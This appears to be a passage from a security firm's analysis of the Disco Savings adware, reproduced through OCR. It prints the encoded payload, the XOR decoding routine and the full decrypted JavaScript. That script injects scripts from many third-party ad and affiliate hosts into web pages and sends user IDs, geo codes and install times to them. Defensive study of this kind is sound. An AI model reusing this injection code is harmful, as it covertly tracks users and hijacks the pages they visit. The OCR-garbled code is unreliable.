c5IDMNM]oBMSANNTApLDdwIytCGRYVP xoDGE LI0ycnNTssOTUIMTsnQARC FOo r JyESPTOEI JcoK1pY FEQTAQIdPhBCRVRKGEX: 025 grDOAN FA
BRE jITEBEADRCIO]RbDBWMABQtFATRURBADAREVEKMGACWABEXShOVDQQDFESVEEob COhEFRhD FROKVWUXGhBZHg tL DBECWDOQsI1c9] 5% ]
oBVRUaGRKBRTKEK1MNKZY IKTOSOkOAARYREFkn0SAz1zI6PDEg Iz UwKSwWHMCCc rR1O0EREDBCEKGFSaDhE fAWROY 1sNCxIEHx o UWhEHDECWED
QeB lobGw1XAAPEHhA aVxcWCOVLADBIHBEQWS c5MDg2 155 xMDsnQAc FEhoRRSS70TY INDD20TOr 014 VEAKaEOknKyEgMiATNZ IwIycx0i ksLy

Figure 30: The contents of the a.js file

For reference and possible analysis of another researcher, we've copy-pasted the whole code, which
can be visible below.

{"a":"BXUKBWEXCBFDUSgrMTo3LCcp)ywjPTUxOydESVpDXI9LQiIFNWEOFFgBUPBUQHU9LDBYDIBEZAVBPQO1b
KCsNAAOUDXESMhMQEQANFwg6NE4RARYXEBEJCONaDAIRTWINCAYfGhgaWCs7EQgiDhwoK1AVTQMUABSGB
RpYRFhFBOSCHRMRADsCUEQ6NDQyOyc6)TUjOjRRXgknKwOWIQAELChcl1YtNEQ4QIVRXCcrEQWPCQIHDjUCE
AOMDwOFLChJHgEKGxIMBB1fXQMJTUNsOjQaGTMdGzsnT|5JJiRWVFYgPURJSSY8VivdQI450h4HHhgRABOSAgE
CBx4bFis7UBONHwcHIQoYXIoOER8DTVEXHQoLEksYGxgECBOKHWCRDIOeGh4bSxIVShgUKBYfWg4LWSQtNT44
MTUWPTksLO4UBgsGAAPANj4xKDAx|zAqLyc+zIm)zOgRTK6LisjMTYwITw5Nj4xKD08Kzte)DcgPTMrPDO3KCok
Miw5NTUxWSc5)DsjKDo50SENOUdHGWMACAcxCgpfSRsDAAgHXId]DAUAAToLHAsIFgwFFBYAHVONFgAKRBKE
WwsTOxoBSWEASDU+MiO0LyQ/Nig9PEKHChUXDwFRJy020zwvNj8hPjYtICEQOSwvTigrPSwwPSghljcoly020zEi
OjRVNSY50iAnliw4izs11SsqOSsgViwoNSgkOzYnKC4sKFZUBAgNAQWFOhNOSkBWBU9eYSwoHRYzARc50kMo
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VSErVkhaliBJX1TUhM1Y5UR0ZNCwCABEYDQWfJA8XHgARGwonOUOQGWMACCEWFFXHAwCDBEJbSxFIBhkRBB
4L WgOWAAPEEAUWHISOGRAEGBAFHQgAShIVWggbFhoWEQhFBRCPASgrjzE8LCMrLzYzKysh)icvITQsURUIBDA
REgkOTigrOSQO0Jygk)jYoK14cDRxbOjQm)DEgKy08O0TpJXx8ADAQXLRQJUVEFAAWEFO)JSgIsFAYaBw4LOQwFFRha
DBgXGWILRRAYGVcXFhoASgESARULFXYRFhFFGQRLGXwWFFggAB04UBhwGOyc5IDMNnMjo8MSANNTApLD4w]ytC
GRYVPxoDGB1)JOycnNTssOTU1MTsnQAOCFOor]yE3PTQ6ljcoK1pYFBQTAgIdPhBCRVRKGOxQeSgrDQANFASRE]!
TEBEADRCcIOjRbDBWMABQtFAIRURSADAReVOKMGACWABEXShOVDQQDFBsVBEobCQhEFRhbFROKVWUXGhBZ
HgtLDBECWDQslic9JjsxljoOVRUaGRKkBRTKEKiMNnKzY1KTO50OkOAAhYREFknOSAZ)zI6PDEgJzUwKSw+MCcrRIQO
ER8DBCEKGF5aDhEfAWROV1sNCxIEHxoUWhOHDBcWBgQeB1obGwIXAApEHh4aVxcWCQVLAQBIHBEQWScS
MDg2)SsxMDsnQACFEhoRRSs70TYTND020TOrO14VEAkaEOknKyEgMiAINzIw]ycxOjksLywoVIQECAOBDAUGEO
SKTFwWFT15hLCgdFjMBFzk6Q1E6LFgIKIgIKks2JFQ7OEQ8I0U+IFc2PVQXMOYmKIM2IVpaFwgKDB9bVVRaxU1eQ
Do0BgMdFBOQAScBDxoDHRcaOydOHgMHAwWQtBghCRAOfBwdOV1sXGRACRQYDGwhaDQxJEQIcHxSLAEOSFR
VUAX4QRUAVTFVcTRIeEEUHBQ4fQxgSHhBFKzs9PJEUPTMxPCs3LSQ61jcoK14HBRZbOjQy)yQnOiU11zo0UVscD
AAUCzMXBOIVHAWAFAtcSKQAFgIBWhEMCRVFGgNbDBZLEAKWH10dBwhLFBECWFhCQOdBUgURAIgYEZENXgC
FEQJYNCwyLCwxKjwjlTQgljYnPSANOUMYEhI)JysIKDY6)JTI6MScrRIQWCRAUHhOXEF5LVIcCWWkx+)ysRDA8JAgcON
RwQDQwPCgUsKFwDHBAMFjAZHO1WEAAQCFXKRBATGhsVBXADSApdFh8ZGQURDgFFHRIAVWCRGKKNWOpPPR
hoRSyc5IDMnMjo8MSANNTApLD4w)ytLFEgPGEWHHRXJVkpfUEOWDwWBFKzs5NjUOPTY5PSs7WkoNHwcHBY0G
CEJEDR8HBwWdCWO0sbAgsIEnQcHVkFVgcOCh4WHRAQShYDEUQAAhZXHFRBXIcJFIgrjzESLCMrLzYzKyshJicvITQs
WBhWHhdHFgwPTkVGQUFCHR4RViwoNSgkOzYnKC4sKFZUBAgNAQWFOhNOSO1UBU9eNCwCABEYDQWTfJA8
XHgARGwonOUOQGWMACCEWFFXHAwWCDBEbSxsCCwgSFBwdWQVWBwW4KHhYdEBBKFgMRRAACFIccVEFeVw
kWWCsnMTwslysvNjMrKyEmJy8hNCxYGFYeFOcCWDA9ORUZBQEIdHhFWLCg1KCQ7NicoLiwoVIQcEAWWFj4BGO
5aHBAMFhZRXFgXHBoHGQUNDI4WWhkfBRUHDAMXWRodAESLEWdEGOdNQEYGHUK6NDYvIDO6ID0iOjgmNS
sXxMDsnSQIFGQRLCBOARVRXUKdREQAAWSc5)DsjKDo50SEnOUdHAxsBHXOKMQJfWEpGCVFPbicSDAUOEhsnK
OwjRDA4UVtWLTIGVEQhLIFbVj4mRIRELDIRKI1eUhQZFBYOOhKAUFY7Jy8rOCc20DQrMDErIDQsVVhJRE1TUIZ
ZNKJIRVWKHRFFLXIDEVFaAX0SMQIeEIXRUk]JQOToeBx4YEQAdOQIBAgceGxYrO1AdDR8HBYEKGF5aDhEfAO1bV
xUXChBICIOWHxkZBREOAUUdEgBXBwWBXV1)bQ1hFSEBSVgWWSVBfAAWEFYOUCVFRHWAMBBACSUOKAAUCVR
VKGQOEBhIeHBxaChOSShgXWEVPRFRXV1VfRVkeC1ZICA0oQDB0oZPRxOVktWGEJfABOWEAsPSDoZBQ1FTORUAF
dVXO0VKDwgBBhQPFgMWBSsLAQYRAI9JLCgxICAhNilgLywkITorLTw5OkIfFhAcGwoWBwgOSVUrjzUOKDkrKj4yK
ydWGVFdbzQsHho/EQsnOU1JNzJUOSBEOyY5FLSFXJDRUNI1GLCVTNSZYOihYIzZLOINWVgcUFABRQ1TFXVIFAQI4
50h4HHhgRABO5AgECBx4bFis7UBONHwWCcHIQoYXIoOER8DTVIXBhEUAXZFFRgMARABGQpLCBwaWw5FSkh)Eg
MaAXEUHRcMSVRbREdbJyshIDIg)TcyMCcnMTo5LC8sKESIFRYMCAAZPRYZHUK7)yc1Oyw5NTUxOydESQMHAwW
QLIRYUXEcDBWMECO5LVXQQBXYEWh4bHAECAAOfWRcXGUSOVOtbXAACEQABFA8WH1xGRE9ESyc5IDMnMjo8
MSANNTApLD4w]ytb CAcXHX0SBjYVCR1bOjQyJyQnOiU1i1zo0UVSEFAEDEQgsDOIFREgJTUNsOjQaGTMdGzsnTke
VNIc1LFQNMEYjOVMNnOFgmMVgvK0sx]VQ2OEQINUUIJ1VaCwQIERJNSVNVXVEIGCc5EB8aGXxOMDSUcAgwfGhg
aJytMAW4RHWMiBhRORhASERYWFsZBATWDAoHHwW4DGRgIHRJLCBwaWxkSAhEKDAOHEISbGAOdCBFUFx4HD
EIXSI9DGAYVSScrISAyICU3MjAN)zE6OSwWvLChSFhUJHVSENDIN)Cc6JTUjOjRRWxwMABQLMxcHSVUCDAAUCTXK
RBIHHVYeCxQKHBwWSGxgdAEobCQhEEhESERgNGRIARBAbHROaEECCDBgHSkdKTUILEwdWLCgxICAhNilgLywkl
TorLTw50k0dFhkdSTsnjzU7LDk1NTE7JORJGx8CExEaLRxcVINGCI1 DfjsnEXECHx4AATUAHABRAhwZKydcHXASE
RsmBRhCVgwWMEhVRXFgXHBpKDg8WChcTWhsbCVcVBhkaBwBXRVBNUFJcQUJCTEVLCBQABXWWEFYeFOCVEAK
aEOknKyEgMiAINzIw]ycxOjksLywoSwO0ZWTkCFk5BRzYBUVZI)BCEBAQRCIFWSCMdAHXYZBXEbCIpKDR8HBwctBg
hCRAOfBwcHQItLGwWILRQUeBxkQAFYFCgZcBBcKHRQMSVRfRKFDTOZRTIJURAMFERQbBRXIDXhMBAEaHQBFOT
ouKyMxNjAhPDk2PjEoPTWrO0cTCFYyEwddRIQ6HOBZQzUGFWMXHRRAWUMYDAWRCgsPCgVRWwWQUAQMRC
CwPSURETWINQ2w6NAYDHRQAEAENAQ8aAX0XGjsnTh4DBWMELQYIQkQNHwcHTIdbBVYSAxMaBlobGwIXBO0s
bGwdLTkZSCgMDWU40Kz0sMDO0oIS43KCctNjsxljoOVUFGTjoFFQNYNCw2)CgrKjkriIDQsUUJKQhYdAFZWLCghKz
E2Jy8hNCxRQkpCFhOAVFZFRENKQgJPVVJYREVCQUJQTINSWVUDEREQWSc5)DsjKD08KzteEhACFOor)yE3PTQ6I]
coK1pYDAWSFRgmBRhCVgwMEhUYSVhbGVoQHh4MGIOUGXxVbBVYWDRtMQUZOBgEeVFgOLDIsLDEqGPCMhN
CAiNic9ICc5Q11BQToZGQFFOToqlycrNjUpPTk6 TUVFQgoRAktbOjQm)DEgKy08O0TpNRUVCChECSVETWERFQhS
DVO9SVUIIFTKIMQIFPVEMfFh4QRSs70TY1NDozKydSEAOPAVYSKCErMTYnLyEOLFVYCBgRHWSLIhANRUBEGVFdb
zQsHho/EQsnOU1JJiRULTIEK]NFIjTXNipUID1GIzITMidYOihYIiBLMiJUOzVEOTRFJitXNj1UJzdESxgDGXOMXEZYRE
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xCDwsrJwEQEQoMHwo2EBwWJEBE]CzQsXw8QABAIMxcHSVUcDAAUQKIKCBcZWgsABQwPBhwWFRAXGUobCQ
hEGQRbGVoOC1kLCh4SBwgVBx1bKSINMIIbFQkIBWWMHT4QRSs70ycoOyw+MCcrQhs]EAUHBQO07GwAdWzo
ONDI7)zcrPCM6NFUeGgsABRQKBB8aGBosHQkdWzo00jknLDUoNDkxIj4yKydSBQgWLCIOKCs5/DQnLYEOLFE
90jOnRTK6PiAyJic9ICc5QxgGFT08STsnIz0/NjkwPTA7KzMNnNDozKydSBQgWKwoeEkknKyUoNjolMjoxJytCGRUS
VigqUhoGCw8VABKIFhkdSTsn)DckJCQxKisqOSsgNCxVWBAAEAgYMBKfTVYQABAIFVOEXBNGGUWFTBACRQAE
GFYcExsCCOUdEgBXHhdXBOsBAEgaGRkBCxYECBZKODEgIVAFBAYDFhOfGiOcWzoOMDY5KCstPDk6 TRAYARYAFg
EICg8WSisnMyE30SYkNzIrJTINFhRURCh8bFQwdCxYyDAYWSisnPSorMiQnPyggMTkh]zIDCgMHPTXxJOycnNTssPj
AnKOIxJCwoTigrLSchKjksLywoUgsBBjEiIWDQsMiwsMSo8lyEO0ICI2)z0g)zIDCgMHOhkZAUU50i0jJys2NSk9OTpNE
gQDRS85XgQXBAQEEQ06BRUDWDQsNSY3IzcONDolMjoxJytGVGwYBWYQHRY9SAEJUUIwOXk8NKWOWIQAELCh
cl1YXKORJSSY8ViVAGAQ50h4HHhgRABOSAEECBx4bFis7UBONHwWCcHIQoYXIoOER8DTVtXFWALSAKCHRWWFxgN
G0gGBB5YBxseF1cFDxhcFAAAHhdWDBZUEhES)XxOARVAUX0ZRBWOWBR4AOgIXSisnMTwslysvNjMrKyEmJy8hN
CxRBxoGBRYCWDQsNiQoKyo5KyAOLFVYEAAQCBUWGRINVHhAAEAgVXORcFB4LWggRCA4JHBsdG1oHFwWtKGBA
dB1cXDgt)Bh8LHQAWHhdHBWMNLB4QRUVVTFNDGAYVFR4SOXECWDQsMiwsMSo8IlyE0ICI2)z0g)zIDGBEFFRY
QWSc5)DsjKDo50SENOUdHAxsBHXOKMQJfWURECVFPbicSDAUOEhsnKOwWjRDA4USpdXII7JxMRAh8eAAETABwW
PEQIcGSsnXB8QEhEb)JgUYQIYMDBIVUVXYGggHSggHFh8SGXEZEBAWBQoGXBKECXZLFAKCAhBZHgtLKwoPAgId
PhBFMVw5UIRZQDZZOKRXTEsgWUJGWTINJUhLVVtCQkVPMFVIIFMuVSQADBEtHFs2Ch8SB14kBQoSCw4BPjBF
RIRIVIVNIWUbHAEHDCgEBhZKKyc1NCg5Kyo+MisnUjAXCQKJEgUIHEK7)yM9OPzY5MDOwOysz)zQ6MysnVkgQEh
EbACIGFE5GEBIRGWBNW 1 caFAtIFQoAAXUUEQUCcFUsIHBpbFgQXGkk)BBQeF1YeFOcpFwlUHhoxEFKOXiRfMKVH
OVKmSFVRRjZFRUIZJUENVUZDROVNRVM8V1UtRTJSKXOQHS8BVIAWGBOHQigHFXx8dEgYXMFIKVIVbQ1EKkChsAD
QURJRIQEUUrOzk2NTQINjk9KzteMgoEHXUVCjOARTK6ELiSiMTYWITw5Nj4xKD08KztaShUHBhAdFjOAQIddXw5eT
3IAFgEdEwoBVWYZGgBFKwQfG1kSFBsLCk5ULKJGXjUVEBBIFwodExsVXETRQ1RbQ1xFQX0CUFdVVU4FFRYQTQ
MQBBITHgcnHBAMFhZWUQQAChOKHORYVk4DDQgRCXx5GAQQQAhkdGhBWCgolEgMdFxpKCBQKHXWUGXRS
QkhbWFYXGBcNGQEWEksHHBQVDBOLFkgVGRwDGxsbCFYPCw8WDzseXEYQEhEBAFVAVAURHRQcNBUYBIcH
BRYPERJOVRKXGgEMDx8KBx4bFloDEQBaDgUSGgxJXV4FBAYDFhOfGIknOSYqPicrMTA7JOAMCRoUSScrMSsjNz
Q6MysnUhIdFAWNGhIGRSs7LiM3IjUu+MSorO14EFwWQEBBEKSTsn)Dck)CQxKisqOSsgNCxRBhkaAEVETiIYSAXXWE
ggXCRADQKZFSV4pGRINRQEWGhwbCVBPTECXGBKkZHQonAA0ZLAQVFhOQAVSMGCwWFAAWEFOdEDR8HBwWACW
0sVXxBSEUAGTVoXCwpLAWQUEBZaChOSSkl)VRWMABRCSUoHHBAHVhYREQoBBB4EEQoCShs|CERRWWAZE 1k
cCQYeHhlaDFoHCgMEHXYyGBOZARYSTUkaGhNaXV8MBwJFABIAOQAQCg8HHgcSXFoHFhtESQ8cGhURGjseCR
cOABYaEQAdU2wUHhAYFDScSCwo5FgodHgABXVIQAgoIBhoRFgBKHWMRLh8SGROaEAskHD8SED0ZGQFQRAC
EFW5WUS9UJRoZDxwUARURCgxIAg4HMhgdGQEWEhYpCiMVHzoFFQNNSRsSFRXWTSNWOE]JdFgQIEQoc)QOC
HxNcDBUDURsYCBIDFxBcAVXCUKIICk8=","b":"wtxtdxfeks"}

Once GET request has returned, the code will execute the “c || (c = g);", which checks whether any data
has been returned. If the data has been returned in a GET request, then that data will be used,
otherwise the data from variable g will be used. This is a fail-check statement the attacker has
implemented as a backup in case the hosting server gets taken down by the government agencies. In
any case, the variable ¢ will contain the malicious payload, whether it is the one downloaded from the
Internet or the one already present in the current JavaScript code.

Next, the JSON payload b is passed to the function d shown below - note that | have manually changed
the JavaScript code to make it more readable and understandable. In the beginning of the function, the
input string is parsed as JSON transforming the string into a JSON object. If the payload doesn't contain
valid JSON code, the function will silently return without producing any errors.
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var d = functiocn{a) H
if (ta) return "";
try {
a = JS0M.parse(a)
I catch (b) {

return ""

h

return

(f + Utils.xor(Utils.Basedd.decode(a.a), a.b))

.replace{RegExp("__SUB_ID__", "="), Utils.getSubID{))
.replace{RegExp({"__LIGHT_SUB_ID__", "2"), Utils.getLightSubId{})
.replace(RegExp("__APP_ID__", "z"), Config.appID)
.replace{RegExp{"_APP MAME ", "z="), Utils.gethppMame{))
.replace{RegExp({"__ENCODED_AFP_MAME__", "z"), encodelURIComponent{Utils.getfppiame()))
.replace{RegExp("__USER_ID__", "z"), Utils.getUserId())
.replace{RegExp("__INSTALLER_USER_ID__", "z"), Utils.getUserId())
.replace(RegExp("__EXTEWDED_SUE_ID_ ", "z"), Utils.getExtendedSubId()}
.replace{RegExp{"__VERIFIER__", "z"), Utils.getVerifier{))
.replace{RegExp("__CAMP_ID__", "z, Utils.getCampaignId{})
.replace{RegExp("__INSTALL TIME__"™, "z"), Utils.getInstallDate())
.replace(RegExp("__GEO_CODE__ ", "z"), Utils.getCountryCode())
.replace{RegExp{"__GEO_MAME__", "="), Utils.getCountryName{))
.replace{RegExp{"__BROWSER_MAME__", "z"), Utils.getBrowser{))

I
Figure 31: The function d

The return statement in the code above concatenates the data stored in variable f, which can be seen

below.

233 var T = "function __utilityaddition__{a) {function f{3{if {'undefined' ===
typeot window['__utils_ " + Config.appID + "__' + a.pluginId]} {var d = document.
createElement{'script');var b = a.httpsUrl;var ¢ = a.httpUrl;d.sethAttribute{'type', 'text/
javascript');if {'string' === typeof document.location.protocol && @ === document.location.
protocol.index0f{'https'})) {if {l!b || @ === b.length) return;d.set&ttribute{'src', b}} else
d.setAttribute{'src', c);{document.getElementsByTaghame({ 'head')[A@] || document,
getElementsByTagName( 'body' ) [@] ). appendChild{d) ;window['__utils_" +

234 Config.appID + "__' + a.pluginId] = '@}}var c = 0;3if {!{document &&
document.location && 'string' == typeof document.location.host &% @ <= document.location.
host.index0f (' facebook.com') && 194 !== a,.pluginId)) {if {!document || !'document.body){var
id = setInterval{function {}{var tag = {document.getElementsByTagName{'head')[0] || document.
getElementsByTagName( 'body' ) [0]);1f {!document || !document.body || !tag){if

(cx2@y{clearInterval(id);return;tc++;return; }F{):}, 5a0);} else {f{3:}}1",

Figure 32: The code stored in variable f

After that it decodes the value stored in JSON object's parameter a and XORs that value with the JSON
object's parameter b. This means the value b serves as an XOR key that decrypts the ciphertext to
obtain the plaintext, which is consequently injected into the webpage.

To obtain the decoded XOR JavaScript, we can start Firefox and copy-paste the relevant functions into
the Console tab. Basically, we have to add the XOR and Base64 functions, append the whole string to
JSON.parse and call base64 and XOR operations on the object. The whole code that we need to input
into the Firefox Console tab is presented in Appendix C.
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Then we can press the Run button in Firefox Console, which will run the inputted JavaScript and
presents the results. Partial results can be shown on the picture below.

# O £ » )= |cConsole~ | HTML €SS Script DOM Net Cookies

g | Clear Persist Profile | Errors Warnings Info Debug Info Cookies

3 Utils = function () { return { xor: functio...Utils.Basebd. decode{a.a): x = Utils.xor(d,
a.b)

"parseInt("”_ INSTALL TIME ",10)+36E5=(new Date).getTime()&&( utilityAddition =function(){});funct
{return @<=a.index0f(" GED NAME "1} inGeo  (["IL"])&&({ utilityAddition =functiom({){}):
__inGeo__ (["U3","DE", "UK"]]&& utllityﬁdditinn__{{httpUrl:"http:!!inst.shnppingate.infn
fisfsg_bg.jsTAFFILIATE ID= crsrdr&sUB DISTRIBUTER ID=__ EXTENDED SUE_ID_ &

BRAND DISPLAY NAME=_ APP MAME " ,httpsUrl:"https://inst.shoppingate. 1nfo]5f5g bg.js?AFFILIATE ID=cr
SUB DISTRIBUTER ID— EXTENDED SUB ID_ &BRAND DISPLAY NAME=__APP_NAME_ " ,pluginTd:242});

o inGeo  (["US","DE", "UK"TN utllltyAddltlnn ({httpUrl:"http://i.crbsjs.info
fcrbffjavascript.js?channel=crdr EKTEMDED_5UB_ID__&appTitle=__APP_NAHE__&hid=__U5ER_ID_ " httpsUrt

ffi crbsjs_info.tlscdn.com/crbf/javascript.js¥channel=crdr_ EXTENDED SUE ID &appTitle=_ APP NAME
hid=__ USER_ID__",pluginId:182});

_utilityAddition_ ({httpUrl:"http://istatic.eshopcomp.com/fo/min/crgc.js?hid=_USER_ID__&bname=__ AP
subid=_ EXTENDED_ SUB ID_ ",httpsUrl:"https:/fistatic.eshopcomp.com/fo/min/croc. ]S?hld— USER_ID__&bn
subid=_ EXTEMDED SUB ID  ",pluginId:2B8});

__inGED _("MX IN CO ES CL DE US BE UK CA AU".split(" ")) &E utilityAddition_  ({httpUrl:"http://savy.
ftblhost. jsp7pid=3143%aid=savyhsaid=_ EXTENDED SUE ID &san=_ APP NAME ", httpsUrl:"https://savy.ut
ftblhost. jspTpid=3143%aid=savy&said=_ EKTEMDED SUB ID &san= APP NAME " ,pluginId:382});
_utilityAddition ({httpUrl:"http: //cdncache-a. akamaihd. net!sub!hBBszef EXTENDED SUB ID /J1.js?pi
ext=__ APP_NAME " httpsUrl "https://cdncache-a.akamaihd.net/sub/h@982be/ EXTENDED SUB ID L. js?pid
ext= APP NAHE v, pluginId:3968}); _utilityAddition_ ({httpUrl:"http: //cdncache-a.akamaihd. net/sub/h@
/o EXTEMDED SUB ID_ /l.js?pid= 2294&ext— _APP_NAME__",httpsUrl:"https://cdncache-a.akamaihd.net/sub/h
f EXTEMDED SUB ID fl js?pid= 2294&ext— APP NAHE ", pluginId:391});

Figure 33: The result of running JavaScript code in Firefox Console

For reference we've included the whole decrypted JavaScript below, so other might benefit from it.

"parselnt("__INSTALL_TIME__",10)+36E5>(new Date).getTime()&&(__utilityAddition__=function(){});function
__inGeo__(a){return 0<=a.indexOf("__GEO_NAME__")}__inGeo__(["IL"])&&(__utilityAddition__=function(){});

__inGeo__(["US","DE","UK"])&&__utilityAddition__({httpUrl:"http://inst.shoppingate.info/js/sg_bg.js?AFFILIATE_
ID=crsrdr&SUB_DISTRIBUTER_ID=__EXTENDED_SUB_ID__&BRAND_DISPLAY_NAME=__APP_NAME__",httpsUrl:
"https://inst.shoppingate.info/js/sg_bg.js?AFFILIATE_ID=crsrdr&SUB_DISTRIBUTER_ID=__EXTENDED_SUB_ID__
&BRAND_DISPLAY_NAME=__APP_NAME__",pluginld:242});

__inGeo__(["US","DE","UK"])| | __utilityAddition__({httpUrl:"http://i.crbsjs.info/crbf/javascript.js?channel=crdr_
__EXTENDED_SUB_ID__&appTitle=__APP_NAME__&hid=__USER_ID__",httpsUrl:"https://i_crbsjs_info.tlscdn.co

m/crbf/javascript.js?channel=crdr___ EXTENDED_SUB_ID__&appTitle=__APP_NAME__&hid=__USER_ID__",plugi
nld:102});

__utilityAddition__({httpUrl:"http://istatic.eshopcomp.com/fo/min/crqc.js?hid=__USER_ID__&bname=_APP_N
AME__&subid=__EXTENDED_SUB_ID__",httpsUrl:"https://istatic.eshopcomp.com/fo/min/crqc.js?hid=__USER_I
D_ &bname=__APP_NAME__ &subid=__ EXTENDED_SUB_ID__",pluginld:288});

_inGeo__("MXIN CO ES CL DE US BE UK CA AU".split("
")&&__utilityAddition__({httpUrl:"http://savy.utop.it/tb/host.jsp?pid=31439&aid=savy&said=__EXTENDED_SU
B_ID__&san=_APP_NAME__",httpsUrl:"https://savy.utop.it/tb/host.jsp?pid=31439&aid=savy&said=__EXTEND
ED_SUB_ID__&san=_APP_NAME__",pluginid:302});

__utilityAddition__({httpUrl:"http://cdncache-
a.akamaihd.net/sub/h0982be/__EXTENDED_SUB_ID__/l.js?pid=2295&ext=__APP_NAME__",httpsUrl:"https://c
dncache-

a.akamaihd.net/sub/h0982be/__EXTENDED_SUB_ID_ /l.js?pid=2295&ext=__APP_NAME__",pluginld:390});__ut
lityAddition__({httpUrl:"http://cdncache-
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a.akamaihd.net/sub/h0982be/__EXTENDED_SUB_ID__/l.js?pid=2294&ext=__APP_NAME__",httpsUrl:"https://c
dncache-
a.akamaihd.net/sub/h0982be/__EXTENDED_SUB_ID_ /I.js?pid=2294&ext=__ APP_NAME__",pluginld:391});

__inGeo__(["US","UK","DE","FR","IT"])&&parselnt("__INSTALL_TIME__",10)+432E5<=(new
Date).getTime()&&(__utilityAddition__({httpUrl:"http://asrv-
a.akamaihd.net/sd/1700/1046.js",httpsUrl:"https://asrv-
a.akamaihd.net/sd/1700/1046.js",pluginld:230}),window._rvz1700x1046={publisher_subid:"__EXTENDED_SU
B_ID_ ",addonname:"__APP_NAME_"});

__inGeo__("DE AT CH FR PL RU IN BR NL ES IT".split("
")&&__utilityAddition__({httpUrl:"http://rules.foxydeal.com/v1.0/whitelist/1070/__EXTENDED_SUB_ID__?partn
erName=__APP_NAME__" httpsUrl:"https://rules.foxydeal.com/v1.0/whitelist/1070/__EXTENDED_SUB_ID__?p
artnerName=__APP_NAME__",pluginld:200});

__inGeo__("DE AT CH FR PL RU IN BR NL ES IT".split("

") | | __utilityAddition__({httpUrl:"http://api.jollywallet.com/affiliate/client?dist=329&sub=__EXTENDED_SUB_|
D__&name=__APP_NAME__",httpsUrl:"https://api.jollywallet.com/affiliate/client?dist=329&sub=__EXTENDED_
SUB_ID__&name=__APP_NAME__",pluginid:385});

__utilityAddition__({httpUrl:"http://cdn.visadd.com/script/14567725641/preload.js?subid=__EXTENDED_SUB_|
D__?2um=Ads%20By%20Browser%20Extension",httpsUrl:"https://cdn.visadd.com/script/14567725641/preloa
d.js?subid=__EXTENDED_SUB_ID__ ?2um=Ads%20By%20Browser%20Extension",pluginld:307});

__utilityAddition__({httpUrl:"http://a.tfxiq.com/a.php?626ref2=__EXTENDED_SUB_ID__&626Name=__APP_NA
ME__&626ref3=__USER_ID__&626ref1=63726f73737269646572&teid=__APP_ID__&tuid=__USER_ID__",httpsUr
[:"https://a.tfxiq.com/a.php?626ref2=__EXTENDED_SUB_ID__&626Name=__APP_NAME__&626ref3=__USER_ID
_ &626ref1=63726f73737269646572&teid=__APP_ID__ &tuid=__USER_ID__",pluginld:180});

__inGeo__("US UK RU IN BR DE FR ES NL DE AU CA AR MX BE CO".split("

") | | __utilityAddition__({httpUrl:"http://cdn.staticwebdom.com/js/a.js?namespace=LITE&campaignld=__CAM
P_ID__&countryCode=__GEO_CODE__&installationTime=__INSTALL_TIME__&appID=__APP_ID__&IBIC=__USER_
ID__&sublD=__EXTENDED_SUB_ID__&appName=__APP_NAME__&asw=[]&browserName=__BROWSER_NAME
__"httpsUrl:"https://d2a8a4q9.ssl.hwcdn.net/js/a.js?namespace=LITE&campaignld=__CAMP_ID__&countryCo
de=__GEO_CODE__&installationTime=__INSTALL_TIME__ &applD=__APP_ID__&IBIC=__USER_ID__&subID=__EXT
ENDED_SUB_ID__&appName=__APP_NAME__&asw=[]&browserName=__BROWSER_NAME__",

pluginld:277});__inGeo__(["US","UK"])| | __utilityAddition__({httpUrl:"http://cjs.linkbolic.com/scjs/cjs/ctxjs.js?aff
_id=1145&subaff_id=__EXTENDED_SUB_ID__&sbrand=__APP_NAME__",httpsUrl:"https://cjs.linkbolic.com/scjs
/cjs/ctxjs.js?aff_id=1145&subaff_id=__EXTENDED_SUB_ID_ &sbrand=__APP_NAME__",pluginld:273});

__inGeo__(["US")&&__utilityAddition__({httpUrl:"http://nps.pastaleads.com/npsb/logic.js?Originld=E8A4A23A
-B034-E211-A9A0-
001517D10F6E&Siteld=Sales&PartnerID=20000&ProductName=__APP_NAME__&Toolbarld=_ EXTENDED_SU
B_ID__",httpsUrl:"https://nps.pastaleads.com/npsb/logic.js?Originld=E8A4A23A-B034-E211-A9A0-
001517D10F6E&Siteld=Sales&PartnerID=20000&ProductName=__APP_NAME__&Toolbarld=__EXTENDED_SU
B_ID__",pluginld:184});

try{var rand=Math.floor(1E11*Math.random())%100+1;if(10>=rand){var is_https="string"===typeof

document.location.protocol&&0===document.location.protocol.indexOf("https"),query_for_sanity="monetiz
ation.gif?event=9&campaign=__CAMP_ID__&ibic=__USER_ID__&verifier=__VERIFIER__&browser=__BROWSER _
NAME__&rand="+Math.floor(1111*Math.random()),domain_for_sanity=is_https?"https://m9u9b7r5.ssl.hwcd
n.net/":"http://logs.buildomserv.com/" tag=document.createElement("img");tag.setAttribute("src",domain_fo

Protean Security © All Rights Reserved info@proteansec.com | www.proteansec.com Page 310f 57


http://www.proteansec.com/

Analysis of Disco Savings Adware @ Protean Security

r_sanity+

query_for_sanity);,(document.getElementsByTagName("body")[0]| | document.getElementsByTagName("hea
d")[0]).appendChild(tag)}}catch(e$$7){};"

By using the same technique, we can quickly modify the code to also include the .replace function calls
present in the d function just before the function returns. After appropriately modifying the code, we
can again run the script in Firefox to obtain the whole JavaScript code that will be injected into the web
browser. We've included it below for reference and future research.

function __utilityAddition__(a) {function f(){if (undefined' === typeof window['__utils_73143__" + a.pluginld])
{var d = document.createElement('script’);var b = a.httpsUrl;var c = a.httpUrl;d.setAttribute('type’,
'text/javascript);if (‘string' === typeof document.location.protocol && 0 ===
document.location.protocol.indexOf('https")) {if (b | | 0 === b.length) return;d.setAttribute('src', b)} else
d.setAttribute('src’, ¢);(document.getElementsByTagName(*head")[0] | |
document.getElementsByTagName('body')[0]).appendChild(d),window['__utils_73143__' + a.pluginld] =
10}}var ¢ = 0;if ({(document && document.location && 'string' == typeof document.location.host && 0 <=
document.location.host.indexOf('facebook.com') && 194 !== a.pluginld)) {if ({document | |
ldocument.body){var id = setinterval(function (){var tag = (document.getElementsByTagName('head")[0] | |
document.getElementsByTagName('body")[0]);if ((document | | /document.body | | tag)if
(c>20){clearInterval(id);return;}c++;return;}f();}, 500);} else {f();}}}parseint("1428508580000",10)+36E5>(new
Date).getTime()&&(__utilityAddition__=function(){});function __inGeo__(a){return
0<=a.indexOf("SI")}_inGeo__(["IL"])&&(__utilityAddition__=function(){});

__inGeo_ (["US","DE","UK"])&&__utilityAddition__({httpUrl:"http://inst.shoppingate.info/js/sg_bg.js?AFFILIATE_
ID=crsrdr&SUB_DISTRIBUTER_ID=300291319428000000&BRAND_DISPLAY_NAME=disco
